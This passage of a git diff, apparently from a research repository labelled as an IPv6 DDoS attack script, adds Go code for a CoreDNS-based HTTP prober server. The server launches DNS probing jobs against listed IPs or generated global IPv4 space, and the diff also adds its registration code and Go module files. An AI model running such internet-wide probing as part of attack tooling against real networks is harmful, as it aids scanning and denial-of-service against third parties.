if s.trace == nil && stack.Name() == "trace" {
|
||||
// we have to stash away the plugin, not the
|
||||
// Tracer object, because the Tracer won't be initialized yet
|
||||
if t, ok := stack.(trace.Trace); ok {
|
||||
s.trace = t
|
||||
}
|
||||
}
|
||||
// Unblock CH class queries when any of these plugins are loaded.
|
||||
if _, ok := EnableChaos[stack.Name()]; ok {
|
||||
s.classChaos = true
|
||||
}
|
||||
conf.PluginChain = stack
|
||||
}
|
||||
|
||||
if !s.debug {
|
||||
// When reloading we need to explicitly disable debug logging if it is now disabled.
|
||||
olog.D.Clear()
|
||||
}
|
||||
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &ProbeServer{}
|
||||
|
||||
// Serve starts the server with an existing listener. It blocks until the server stops.
|
||||
// This implements caddy.TCPServer interface.
|
||||
func (ps *ProbeServer) Serve(l net.Listener) error {
|
||||
ps.m.Lock()
|
||||
|
||||
ps.server = &http.Server{
|
||||
Addr: l.Addr().String(),
|
||||
Handler: http.HandlerFunc(func(writer http.ResponseWriter, r *http.Request) {
|
||||
ctx := context.WithValue(context.Background(), Key{}, ps)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
err, s := ps.ServeProbe(ctx, writer, r)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_serve/Serve: %v \n %v", err.Error(), s)
|
||||
return
|
||||
}
|
||||
}),
|
||||
DisableGeneralOptionsHandler: false,
|
||||
ReadTimeout: ps.readTimeout,
|
||||
WriteTimeout: ps.writeTimeout,
|
||||
IdleTimeout: ps.idleTimeout}
|
||||
|
||||
ps.m.Unlock()
|
||||
|
||||
return ps.server.ListenAndServe()
|
||||
}
|
||||
|
||||
// ServePacket starts the server with an existing packetconn. It blocks until the server stops.
|
||||
// This implements caddy.UDPServer interface.
|
||||
func (ps *ProbeServer) ServePacket(net.PacketConn) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (ps *ProbeServer) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", ps.Addr[len(transport.DNS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// WrapListener Listen implements caddy.GracefulServer interface.
|
||||
func (ps *ProbeServer) WrapListener(ln net.Listener) net.Listener {
|
||||
return ln
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (ps *ProbeServer) ListenPacket() (net.PacketConn, error) {
|
||||
p, err := reuseport.ListenPacket("udp", ps.Addr[len(transport.DNS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// Stop stops the server. It blocks until the server is
|
||||
// totally stopped. On POSIX systems, it will wait for
|
||||
// connections to close (up to a max timeout of a few
|
||||
// seconds); on Windows it will close the listener
|
||||
// immediately.
|
||||
// This implements Caddy.Stopper interface.
|
||||
func (ps *ProbeServer) Stop() (err error) {
|
||||
// 清空协程池
|
||||
defer ps.proberlist.GRPool.Release()
|
||||
if runtime.GOOS != "windows" {
|
||||
// force connections to close after timeout
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
ps.httpWg.Done() // decrement our initial increment used as a barrier
|
||||
ps.httpWg.Wait()
|
||||
close(done)
|
||||
}()
|
||||
|
||||
// Wait for remaining connections to finish or
|
||||
// force them all to close after timeout
|
||||
select {
|
||||
case <-time.After(ps.graceTimeout):
|
||||
case <-done:
|
||||
}
|
||||
}
|
||||
|
||||
// Close the listener now; this stops the server without delay
|
||||
ps.m.Lock()
|
||||
// We might not have started and initialized the full set of servers
|
||||
if ps.server != nil {
|
||||
err = ps.server.Shutdown(context.Background())
|
||||
}
|
||||
|
||||
ps.m.Unlock()
|
||||
return
|
||||
}
|
||||
|
||||
// Address together with Stop() implement caddy.GracefulServer.
|
||||
func (ps *ProbeServer) Address() string { return ps.Addr }
|
||||
|
||||
// ServeProbe 是每一个prober控制请求的入口
|
||||
// It acts as a multiplexer for the requests zonename as
|
||||
// defined in the request so that the correct zone
|
||||
// (configuration and plugin stack) will handle the request.
|
||||
func (ps *ProbeServer) ServeProbe(ctx context.Context, w http.ResponseWriter, req *http.Request) (error, string) {
|
||||
if !ps.debug {
|
||||
defer func() {
|
||||
// In case the user doesn't enable error plugin, we still
|
||||
// need to make sure that we stay alive up here
|
||||
if rec := recover(); rec != nil {
|
||||
if ps.stacktrace {
|
||||
olog.Errorf("Recovered from panic in server: %q %v\n%s", ps.Addr, rec, string(debug.Stack()))
|
||||
} else {
|
||||
olog.Errorf("Recovered from panic in server: %q %v", ps.Addr, rec)
|
||||
}
|
||||
vars.Panic.Inc()
|
||||
errorAndMetricsFunc(ps.Addr, w, "ProbeServer-ServeHTTP-Error", http.StatusInternalServerError)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer.
|
||||
//w = request.NewScrubWriter(r, w)
|
||||
|
||||
// 获取请求参数
|
||||
param, _ := ohttp.ParseRequest(req)
|
||||
|
||||
//// 用于探测的客户端(启用,嵌入prober结构体中)
|
||||
//c := new(dns.Client)
|
||||
|
||||
pcf := ps.conf
|
||||
if pcf.PluginChain == nil { // can not get any plugins
|
||||
errorAndMetricsFunc(ps.Addr, w, "探测器缺少插件链", http.StatusNotImplemented)
|
||||
return errors.New("探测器缺少插件链"), "探测器缺少插件链"
|
||||
}
|
||||
if pcf.MetaCollector != nil {
|
||||
// Collect metadata now, so it can be used before we send a request down the plugin chain.
|
||||
ctx = pcf.MetaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w})
|
||||
}
|
||||
// 生成目标,开始探测
|
||||
targets, targetNum := getTarget(param[rangeParam])
|
||||
|
||||
// 将探测配置添加到上下文中
|
||||
ctx = context.WithValue(ctx, prober.PAddrNum, targetNum)
|
||||
ctx = context.WithValue(ctx, prober.Pchain, ps.conf)
|
||||
|
||||
// 创建并开始执行任务,返回探测器id
|
||||
proberid := ps.proberlist.AddProber(ctx, targets)
|
||||
|
||||
// 都不匹配,尝试利用“.”指向的服务块
|
||||
//if z, ok := ps.zones["."]; ok {
|
||||
//
|
||||
// for _, h := range z {
|
||||
// if h.pluginChain == nil {
|
||||
// continue
|
||||
// }
|
||||
//
|
||||
// if h.metaCollector != nil {
|
||||
// // Collect metadata now, so it can be used before we send a request down the plugin chain.
|
||||
// ctx = h.metaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w})
|
||||
// }
|
||||
//
|
||||
// // If all filter funcs pass, use this config.
|
||||
// if passAllFilterFuncs(ctx, h.FilterFuncs, &request.HTTPRequest{Req: req, W: w}) {
|
||||
// if h.ViewName != "" {
|
||||
// // if there was a view defined for this Config, set the view name in the context
|
||||
// ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
|
||||
// }
|
||||
// rcode, _ := h.pluginChain.ProbeDNS(ctx, c, msg)
|
||||
// if !plugin.ClientWrite(rcode) {
|
||||
// errorAndMetricsFunc(ps.Addr, w, " . --"+h.pluginChain.Name()+"错误", rcode)
|
||||
// }
|
||||
// return
|
||||
// }
|
||||
// }
|
||||
//}
|
||||
|
||||
return nil, "成功创建探测器:" + proberid
|
||||
}
|
||||
|
||||
// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request
|
||||
func passAllFilterFuncs(ctx context.Context, filterFuncs []prober.FilterFunc, req *request.HTTPRequest) bool {
|
||||
for _, ff := range filterFuncs {
|
||||
if !ff(ctx, req) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (ps *ProbeServer) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones(transport.PROBER+"://", ps.Addr)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
// Tracer returns the tracer in the server if defined.
|
||||
func (ps *ProbeServer) Tracer() ot.Tracer {
|
||||
if ps.trace == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
return ps.trace.Tracer()
|
||||
}
|
||||
|
||||
// errorAndMetricsFunc 通过HTTP返回错误信息,并记录到Metrics中
|
||||
func errorAndMetricsFunc(server string, w http.ResponseWriter, rs string, rc int) {
|
||||
defer vars.HTTPResponsesCount.WithLabelValues(server, http.StatusText(rc)).Inc()
|
||||
w.WriteHeader(rc)
|
||||
r := &response{Code: http.StatusInternalServerError, Msg: rs}
|
||||
msg, _ := json.Marshal(r)
|
||||
w.Write(msg)
|
||||
return
|
||||
|
||||
}
|
||||
|
||||
// 输入目标地址数据集,返回IP管道和目标地址数量,
|
||||
func getTarget(s []string) (chan net.IP, int) {
|
||||
if s[0] == globalRange {
|
||||
// 全球探测
|
||||
return prober.GenGlobIPv4(), 0
|
||||
}
|
||||
// 局部探测
|
||||
ipchan := make(chan net.IP, 100)
|
||||
go func() {
|
||||
defer close(ipchan)
|
||||
for _, v := range s {
|
||||
ipchan <- net.ParseIP(v)
|
||||
}
|
||||
}()
|
||||
return ipchan, len(s)
|
||||
}
|
||||
|
||||
type (
|
||||
// Key is the context key for the current server added to the context.
|
||||
Key struct{}
|
||||
|
||||
// LoopKey is the context key to detect server wide loops.
|
||||
LoopKey struct{}
|
||||
|
||||
// ViewKey is the context key for the current view, if defined
|
||||
ViewKey struct{}
|
||||
)
|
||||
|
||||
// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default.
|
||||
var EnableChaos = map[string]struct{}{
|
||||
"chaos": {},
|
||||
"forward": {},
|
||||
"proxy": {},
|
||||
}
|
||||
|
||||
// Quiet mode will not show any informative output on initialization.
|
||||
var Quiet bool
|
||||
209
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/register.go
Normal file
209
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/register.go
Normal file
@@ -0,0 +1,209 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/coredns/caddy/caddyfile"
|
||||
"net"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/parse"
|
||||
"ohmydns2/plugin/pkg/prober"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
)
|
||||
|
||||
const proberType = "dnsprober"
|
||||
|
||||
func init() {
|
||||
caddy.RegisterServerType(proberType, caddy.ServerType{
|
||||
Directives: func() []string { return Directives },
|
||||
DefaultInput: func() caddy.Input {
|
||||
return caddy.CaddyfileInput{
|
||||
Filepath: "Ohmyfile",
|
||||
Contents: []byte("probe://:" + Port + " {\nprober_show\nlog\n}\n"),
|
||||
ServerTypeName: proberType,
|
||||
}
|
||||
},
|
||||
NewContext: newPBContext,
|
||||
})
|
||||
}
|
||||
|
||||
func newPBContext(*caddy.Instance) caddy.Context {
|
||||
return &ProbeContext{keysToConfigs: make(map[string]*prober.PBConfig)}
|
||||
}
|
||||
|
||||
type ProbeContext struct {
|
||||
keysToConfigs map[string]*prober.PBConfig
|
||||
|
||||
// configs is the master list of all site configs.
|
||||
configs []*prober.PBConfig
|
||||
}
|
||||
|
||||
func (p *ProbeContext) saveConfig(key string, cfg *prober.PBConfig) {
|
||||
p.configs = append(p.configs, cfg)
|
||||
p.keysToConfigs[key] = cfg
|
||||
}
|
||||
|
||||
// Compile-time check to ensure dnsContext implements the caddy.Context interface
|
||||
var _ caddy.Context = &ProbeContext{}
|
||||
|
||||
// InspectServerBlocks make sure that everything checks out before
|
||||
// executing directives and otherwise prepares the directives to
|
||||
// be parsed and executed.
|
||||
func (p *ProbeContext) InspectServerBlocks(_ string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) {
|
||||
// Normalize and check all the zone names and check for duplicates
|
||||
for ib, s := range serverBlocks {
|
||||
Addrs := []addr{}
|
||||
// 每一个服务块的zone部分
|
||||
for ik, k := range s.Keys {
|
||||
trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme.
|
||||
// 不属于探测端的服务块不解析
|
||||
if trans != transport.PROBER {
|
||||
continue
|
||||
}
|
||||
port, err := plugin.SplitPort(k1)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.Keys[ik] = port
|
||||
Addrs = append(Addrs, addr{Port: port, Transport: transport.PROBERTRAN})
|
||||
}
|
||||
|
||||
serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here.
|
||||
|
||||
var firstConfigInBlock *prober.PBConfig
|
||||
|
||||
for ik := range s.Keys {
|
||||
a := Addrs[ik]
|
||||
s.Keys[ik] = a.String()
|
||||
// Save the config to our master list, and key it for lookups.
|
||||
cfg := &prober.PBConfig{
|
||||
ListenHosts: []string{""},
|
||||
Port: a.Port,
|
||||
Transport: a.Transport,
|
||||
}
|
||||
|
||||
// Set reference to the first config in the current block.
|
||||
// This is used later by MakeServers to share a single plugin list
|
||||
// for all zones in a server block.
|
||||
if ik == 0 {
|
||||
firstConfigInBlock = cfg
|
||||
}
|
||||
cfg.FirstConfigInBlock = firstConfigInBlock
|
||||
|
||||
keyConfig := prober.KeyForConfig(ib, ik)
|
||||
p.saveConfig(keyConfig, cfg)
|
||||
}
|
||||
}
|
||||
return serverBlocks, nil
|
||||
}
|
||||
|
||||
// MakeServers uses the newly-created siteConfigs to create and return a list of server instances.
|
||||
func (p *ProbeContext) MakeServers() ([]caddy.Server, error) {
|
||||
// Copy the Plugin, ListenHosts and Debug from first config in the block
|
||||
// to all other config in the same block . Doing this results in zones
|
||||
// sharing the same plugin instances and settings as other zones in
|
||||
// the same block.
|
||||
for _, c := range p.configs {
|
||||
c.Plugin = c.FirstConfigInBlock.Plugin
|
||||
c.ListenHosts = c.FirstConfigInBlock.ListenHosts
|
||||
c.Debug = c.FirstConfigInBlock.Debug
|
||||
c.Stacktrace = c.FirstConfigInBlock.Stacktrace
|
||||
|
||||
// Fork TLSConfig for each encrypted connection
|
||||
c.TLSConfig = c.FirstConfigInBlock.TLSConfig.Clone()
|
||||
c.ReadTimeout = c.FirstConfigInBlock.ReadTimeout
|
||||
c.WriteTimeout = c.FirstConfigInBlock.WriteTimeout
|
||||
c.IdleTimeout = c.FirstConfigInBlock.IdleTimeout
|
||||
c.TsigSecret = c.FirstConfigInBlock.TsigSecret
|
||||
}
|
||||
|
||||
// we must map (group) each config to a bind address
|
||||
groups, err := groupConfigsByListenPort(p.configs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// then we create a server for each group
|
||||
var servers []caddy.Server
|
||||
for protaddr, group := range groups {
|
||||
// switch on addr
|
||||
switch tr, _ := parse.Transport(transport.PROBER + protaddr[len(transport.PROBERTRAN):]); tr {
|
||||
case transport.PROBER:
|
||||
s, e := NewProberHTTP(protaddr, group)
|
||||
if e != nil {
|
||||
return nil, err
|
||||
}
|
||||
servers = append(servers, s)
|
||||
}
|
||||
}
|
||||
|
||||
//// For each server config, check for View Filter plugins
|
||||
//for _, c := range p.configs {
|
||||
// // Add filters in the plugin.cfg order for consistent filter func evaluation order.
|
||||
// for _, d := range Directives {
|
||||
// if vf, ok := c.registry[d].(Viewer); ok {
|
||||
// if c.ViewName != "" {
|
||||
// return nil, fmt.Errorf("multiple views defined in server block")
|
||||
// }
|
||||
// c.ViewName = vf.ViewName()
|
||||
// c.FilterFuncs = append(c.FilterFuncs, vf.Filter)
|
||||
// }
|
||||
// }
|
||||
//}
|
||||
|
||||
// Verify that there is no overlap on the zones and listen addresses
|
||||
// for unfiltered server configs
|
||||
//errValid := p.validateZonesAndListeningAddresses()
|
||||
//if errValid != nil {
|
||||
// return nil, errValid
|
||||
//}
|
||||
|
||||
return servers, nil
|
||||
}
|
||||
|
||||
// GetConfig gets the Config that corresponds to c.
|
||||
// If none exist nil is returned.
|
||||
func GetPBConfig(c *caddy.Controller) *prober.PBConfig {
|
||||
ctx := c.Context().(*ProbeContext)
|
||||
key := prober.KeyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex)
|
||||
if cfg, ok := ctx.keysToConfigs[key]; ok {
|
||||
return cfg
|
||||
}
|
||||
// we should only get here during tests because directive
|
||||
// actions typically skip the server blocks where we make
|
||||
// the configs.
|
||||
ctx.saveConfig(key, &prober.PBConfig{ListenHosts: []string{""}})
|
||||
return GetPBConfig(c)
|
||||
}
|
||||
|
||||
// groupConfigsByListenPort 建立监听端口和配置文件之间的映射,与服务端不同的是,一个监听地址端口只对应一个配置文件
|
||||
func groupConfigsByListenPort(configs []*prober.PBConfig) (map[string]*prober.PBConfig, error) {
|
||||
groups := make(map[string]*prober.PBConfig)
|
||||
for _, conf := range configs {
|
||||
for _, h := range conf.ListenHosts {
|
||||
tcpaddr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
addrstr := conf.Transport + "://" + tcpaddr.String()
|
||||
groups[addrstr] = conf
|
||||
}
|
||||
}
|
||||
|
||||
return groups, nil
|
||||
}
|
||||
|
||||
// DefaultPort is the default port.
|
||||
const DefaultPort = transport.PROBERPort
|
||||
|
||||
// These "soft defaults" are configurable by
|
||||
// command line flags, etc.
|
||||
var (
|
||||
// Port is the port we listen on by default.
|
||||
Port = DefaultPort
|
||||
|
||||
// GracefulTimeout is the maximum duration of a graceful shutdown.
|
||||
//GracefulTimeout time.Duration
|
||||
)
|
||||
|
||||
var _ caddy.GracefulServer = new(dnsserver.Server)
|
||||
36
att script/4(v6 DDoS)/code/辅助权威服务器/go.mod
Normal file
36
att script/4(v6 DDoS)/code/辅助权威服务器/go.mod
Normal file
@@ -0,0 +1,36 @@
|
||||
module ohmydns2
|
||||
|
||||
go 1.20
|
||||
|
||||
require (
|
||||
github.com/apparentlymart/go-cidr v1.1.0
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2
|
||||
github.com/coredns/caddy v1.1.1
|
||||
github.com/dnstap/golang-dnstap v0.4.0
|
||||
github.com/farsightsec/golang-framestream v0.3.0
|
||||
github.com/miekg/dns v1.1.54
|
||||
github.com/opentracing/opentracing-go v1.2.0
|
||||
github.com/panjf2000/ants/v2 v2.8.1
|
||||
github.com/pochard/commons v1.1.2
|
||||
github.com/prometheus/client_golang v1.15.1
|
||||
github.com/thanhpk/randstr v1.0.6
|
||||
golang.org/x/sys v0.10.0
|
||||
google.golang.org/grpc v1.55.0
|
||||
google.golang.org/protobuf v1.30.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.2.0 // indirect
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect
|
||||
github.com/prometheus/client_model v0.3.0 // indirect
|
||||
github.com/prometheus/common v0.42.0 // indirect
|
||||
github.com/prometheus/procfs v0.9.0 // indirect
|
||||
golang.org/x/mod v0.12.0 // indirect
|
||||
golang.org/x/net v0.12.0 // indirect
|
||||
golang.org/x/text v0.11.0 // indirect
|
||||
golang.org/x/tools v0.11.0 // indirect
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
|
||||
)
|
||||
111
att script/4(v6 DDoS)/code/辅助权威服务器/go.sum
Normal file
111
att script/4(v6 DDoS)/code/辅助权威服务器/go.sum
Normal file
@@ -0,0 +1,111 @@
|
||||
github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU=
|
||||
github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44=
|
||||
github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/coredns/caddy v1.1.1 h1:2eYKZT7i6yxIfGP3qLJoJ7HAsDJqYB+X68g4NYjSrE0=
|
||||
github.com/coredns/caddy v1.1.1/go.mod h1:A6ntJQlAWuQfFlsd9hvigKbo2WS0VUs2l1e2F+BawD4=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dnstap/golang-dnstap v0.4.0 h1:KRHBoURygdGtBjDI2w4HifJfMAhhOqDuktAokaSa234=
|
||||
github.com/dnstap/golang-dnstap v0.4.0/go.mod h1:FqsSdH58NAmkAvKcpyxht7i4FoBjKu8E4JUPt8ipSUs=
|
||||
github.com/farsightsec/golang-framestream v0.3.0 h1:/spFQHucTle/ZIPkYqrfshQqPe2VQEzesH243TjIwqA=
|
||||
github.com/farsightsec/golang-framestream v0.3.0/go.mod h1:eNde4IQyEiA5br02AouhEHCu3p3UzrCdFR4LuQHklMI=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
|
||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
|
||||
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
|
||||
github.com/miekg/dns v1.1.31/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
|
||||
github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI=
|
||||
github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
|
||||
github.com/opentracing/opentracing-go v1.2.0 h1:uEJPy/1a5RIPAJ0Ov+OIO8OxWu77jEv+1B0VhjKrZUs=
|
||||
github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc=
|
||||
github.com/panjf2000/ants/v2 v2.8.1 h1:C+n/f++aiW8kHCExKlpX6X+okmxKXP7DWLutxuAPuwQ=
|
||||
github.com/panjf2000/ants/v2 v2.8.1/go.mod h1:KIBmYG9QQX5U2qzFP/yQJaq/nSb6rahS9iEHkrCMgM8=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/pochard/commons v1.1.2 h1:65SlPrtLqJgCboQitD72Wrdw7xsGJ2wD6HS1hUpk6pc=
|
||||
github.com/pochard/commons v1.1.2/go.mod h1:HzXF3rNqu78SkHDx4IY+jp/SqSnkwT/OHjSrlqoitgI=
|
||||
github.com/prometheus/client_golang v1.15.1 h1:8tXpTmJbyH5lydzFPoxSIJ0J46jdh3tylbvM1xCv0LI=
|
||||
github.com/prometheus/client_golang v1.15.1/go.mod h1:e9yaBhRPU2pPNsZwE+JdQl0KEt1N9XgF6zxWmaC0xOk=
|
||||
github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4=
|
||||
github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w=
|
||||
github.com/prometheus/common v0.42.0 h1:EKsfXEYo4JpWMHH5cg+KOUWeuJSov1Id8zGR8eeI1YM=
|
||||
github.com/prometheus/common v0.42.0/go.mod h1:xBwqVerjNdUDjgODMpudtOMwlOwf2SaTr1yjz4b7Zbc=
|
||||
github.com/prometheus/procfs v0.9.0 h1:wzCHvIvM5SxWqYvwgVL7yJY8Lz3PKn49KQtpgMYJfhI=
|
||||
github.com/prometheus/procfs v0.9.0/go.mod h1:+pB4zwohETzFnmlpe6yd2lSc+0/46IYZRB/chUwxUZY=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
|
||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
|
||||
github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
